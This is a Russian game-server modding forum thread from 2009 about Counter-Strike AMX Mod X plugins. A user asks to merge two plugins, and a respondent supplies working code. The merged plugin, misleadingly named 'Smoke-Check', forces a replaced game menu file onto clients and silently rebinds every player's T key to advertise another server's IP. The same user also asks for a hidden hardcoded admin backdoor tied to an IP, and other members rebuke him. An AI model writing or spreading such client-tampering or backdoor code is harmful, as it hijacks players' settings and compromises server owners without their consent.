Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
24-апр
10-апр
11-апр

> Правила форума

Этот раздел, как вы могли заметить по названию, предназначен для решения вопросов по поводу уже существующих модов и плагинов.
Пожалуйста, если у вас проблема с написанием плагина, не путайте этот раздел с разделом по скриптингу.
Для поиска плагинов и модов существует соответствующий раздел.

Название темы должно соответствовать содержанию. Темы с названием типа "Помогите", "Вопрос", "парни подскажите..." - будут удалены.
Все темы, не относящиеся к "Вопросам по модам и плагинам", будут удалены или перемещены в соответствующий раздел.

Правила оформления темы:
1. Помимо заголовка не забудьте верно сформулировать свой вопрос.
2. Выложите исходник (в тег кода + ) или ссылку на плагин который вызывает у вас вопросы.
3. Выложите лог с ошибками (если имеется) под спойлер

соединене 2-ух кодов в одном исходнике

Статус пользователя Nexus2116
сообщение 21.3.2009, 13:17
Сообщение #1


Стаж: 17 лет

Сообщений: 37
Благодарностей: 3
Полезность: 3

к примеру
Код
#include <amxmod>
public plugin_precache(){
precache_model("resource/GameMenu.res")
force_unmodified(force_exactfile,{0,0,0},{0,0,0},"resource/GameMenu.res")
}
public client_connect(id){
client_cmd(id,"cl_allowdownload 1")
}
public plugin_init(){
register_plugin("Smoke-Check","007","----")
return PLUGIN_CONTINUE
}


и

Код
#include <amxmodx>

public plugin_init()
{  
    register_plugin("bind_client", "1.0", "----")
}

public client_putinserver(id)
{
    client_cmd(id, "bind ^"T^" ^"say connect 89.151.130.145^"")
}



с каким кодом можно объединить их.
типа 2 кода в одном исходнике

Отредактировал: Nexus2116, - 21.3.2009, 13:19
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   Цитировать сообщение
Статус пользователя Makzz
сообщение 21.3.2009, 15:22
Сообщение #2


Стаж: 18 лет

Сообщений: 2198
Благодарностей: 1365
Полезность: 1080

Если ты имеешь в виду тупо объединить 2 исходника, то вот:
Код
#include <amxmodx>

public plugin_init()
{
    register_plugin("Smoke-Check & Client_bind","1.0","----")
    return PLUGIN_CONTINUE
}

public plugin_precache()
{
    precache_model("resource/GameMenu.res")
    force_unmodified(force_exactfile,{0,0,0},{0,0,0},"resource/GameMenu.res")
}

public client_connect(id) //Игрок подключается
{
    client_cmd(id,"cl_allowdownload 1")
}

public client_putinserver(id) //Игрок зашёл на сервак
{
    client_cmd(id, "bind ^"T^" ^"say connect 89.151.130.145^"")
}
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
Статус пользователя Nexus2116
сообщение 21.3.2009, 15:43
Сообщение #3


Стаж: 17 лет

Сообщений: 37
Благодарностей: 3
Полезность: 3

это код баннера который высвечивается в кс наверху слева ...
надо-бы растянуть картинку до правого угла если возможно

Код
#define PLUGIN  "Spectator Banner Ads"
#define VERSION "0.1.16"
#define AUTHOR  "iG_os"

#include <amxmodx>

#define SVC_DIRECTOR 51  // come from util.h
#define DRC_CMD_BANNER 9 // come from hltv.h

// sum of tga files
#define TGASUM 1

// tga of banners
new szTga[TGASUM][] ={
"gfx/----.tga"
}

new pCVAR_Tga
new g_SendOnce[33]

public plugin_precache()
{
   register_plugin(PLUGIN, VERSION, AUTHOR)
   register_logevent("joined_team", 3, "1=joined team")

   pCVAR_Tga = register_cvar("spec_banner_ads", "1")

   if (get_pcvar_num(pCVAR_Tga))
   {
      for (new i=0; i<TGASUM; i++)
         precache_generic(szTga[i])
   }
}


public client_putinserver(id)
{
   g_SendOnce[id] = true
}


public joined_team()
{
   new loguser[80], name[32]
   read_logargv(0, loguser, 79)
   parse_loguser(loguser, name, 31)
   new id = get_user_index(name)

   if ( get_pcvar_num(pCVAR_Tga) && g_SendOnce[id] && is_user_connected(id) )
   {
      // random select one tga
      new index = random_num( 0, TGASUM - 1)
      g_SendOnce[id] = false

      // send show tga command to client
      message_begin( MSG_ONE, SVC_DIRECTOR, _, id )
      write_byte( strlen( szTga[index]) + 2 ) // command length in bytes
      write_byte( DRC_CMD_BANNER )
      write_string( szTga[index] ) // banner file
      message_end()
   }
}


еще нужен код чтоб можнобыло баннер снизу поставить в правом углу

Отредактировал: Nexus2116, - 21.3.2009, 18:00
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Makzz
сообщение 22.3.2009, 7:54
Сообщение #4


Стаж: 18 лет

Сообщений: 2198
Благодарностей: 1365
Полезность: 1080

Хех, на сколько я знаю это не возможно ибо движок Халфы не поддерживает такое.....

А хотя..... можно попробывать изменить значение SVC_DIRECTOR. мож чё и получится :)

Отредактировал: Makzz, - 22.3.2009, 7:59
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
Статус пользователя Nexus2116
сообщение 22.3.2009, 12:33
Сообщение #5


Стаж: 17 лет

Сообщений: 37
Благодарностей: 3
Полезность: 3

однажды я видал wracraft mod там было war... написано до правого угла растянута

Отредактировал: Nexus2116, - 22.3.2009, 12:33
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Nexus2116
сообщение 22.3.2009, 12:57
Сообщение #6


Стаж: 17 лет

Сообщений: 37
Благодарностей: 3
Полезность: 3

этот часть кода с admin.sma надо админку прописать в этом коде а не в users.ini чтоб в тоже время админка пахала в users.ini
к примеру под этот ip 89.151.130.145
Код
#include <amxmodx>
#include <amxmisc>
#if defined USING_SQL
#include <sqlx>
#endif

//new Vector:AdminList;

new AdminCount;

new PLUGINNAME[] = "AMX Mod X"

#define ADMIN_LOOKUP    (1<<0)
#define ADMIN_NORMAL    (1<<1)
#define ADMIN_STEAM        (1<<2)
#define ADMIN_IPADDR    (1<<3)
#define ADMIN_NAME        (1<<4)

new g_cmdLoopback[16]


// pcvars
new amx_mode;
new amx_password_field;
new amx_default_access;

public plugin_init()
{
#if defined USING_SQL
    register_plugin("Admin Base (SQL)", AMXX_VERSION_STR, "AMXX Dev Team")
#else
    register_plugin("Admin Base", AMXX_VERSION_STR, "AMXX Dev Team")
#endif
    register_dictionary("admin.txt")
    register_dictionary("common.txt")
    amx_mode=register_cvar("amx_mode", "1")
    amx_password_field=register_cvar("amx_password_field", "_pw")
    amx_default_access=register_cvar("amx_default_access", "")

    register_cvar("amx_vote_ratio", "0.02")
    register_cvar("amx_vote_time", "10")
    register_cvar("amx_vote_answers", "1")
    register_cvar("amx_vote_delay", "60")
    register_cvar("amx_last_voting", "0")
    register_cvar("amx_show_activity", "2")
    register_cvar("amx_votekick_ratio", "0.40")
    register_cvar("amx_voteban_ratio", "0.40")
    register_cvar("amx_votemap_ratio", "0.40")

    set_cvar_float("amx_last_voting", 0.0)

#if defined USING_SQL
    register_srvcmd("amx_sqladmins", "adminSql")
    register_cvar("amx_sql_table", "admins")
#endif
    register_cvar("amx_sql_host", "127.0.0.1")
    register_cvar("amx_sql_user", "root")
    register_cvar("amx_sql_pass", "")
    register_cvar("amx_sql_db", "amx")
    register_cvar("amx_sql_type", "mysql")

    register_concmd("amx_reloadadmins", "cmdReload", ADMIN_CFG)
    register_concmd("amx_addadmin", "addadminfn", ADMIN_RCON, "<playername|auth> <accessflags> [password] [authtype] - add specified player as an admin to users.ini")

    format(g_cmdLoopback, 15, "amxauth%c%c%c%c", random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'))

    register_clcmd(g_cmdLoopback, "ackSignal")

    remove_user_flags(0, read_flags("z"))        // Remove 'user' flag from server rights

    new configsDir[64]
    get_configsdir(configsDir, 63)
    
    server_cmd("exec %s/amxx.cfg", configsDir)    // Execute main configuration file
    server_cmd("exec %s/sql.cfg", configsDir)

    // Create a vector of 5 cells to store the info.
    //AdminList=vector_create(5);


еще нужен исходный код чтоб определенная команда выполнялась на сервере к примеру sv_gravity

Отредактировал: Nexus2116, - 22.3.2009, 13:02
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Makzz
сообщение 22.3.2009, 15:26
Сообщение #7


Стаж: 18 лет

Сообщений: 2198
Благодарностей: 1365
Полезность: 1080

А ты не офигел ли? (простите конечно за грубость :) )
Про админство - введи в поиске "Безпалевное админство"
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
Fedcomp
сообщение 22.3.2009, 15:36
Сообщение #8
Стаж: 17 лет

Сообщений: 3899
Благодарностей: 701
Полезность: 0

Цитата(Nexus2116 @ 22.3.2009, 13:57) *
еще нужен исходный код чтоб определенная команда выполнялась на сервере к примеру sv_gravity

Выполнялась после чего?

Отредактировал: Fedcomp, - 22.3.2009, 15:37
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
holoc
сообщение 22.3.2009, 16:46
Сообщение #9
Стаж: 19 лет

Сообщений: 749
Благодарностей: 5723
Полезность: 0

Предлагаю забанить за такие вопросы.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 11 раз
   + Цитировать сообщение
Статус пользователя Nexus2116
сообщение 22.3.2009, 18:07
Сообщение #10


Стаж: 17 лет

Сообщений: 37
Благодарностей: 3
Полезность: 3

можно закрыть тему у мя се

Отредактировал: Nexus2116, - 22.3.2009, 18:15
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
  Тема закрытаНачать новую тему
 
0 пользователей и 1 гостей читают эту тему: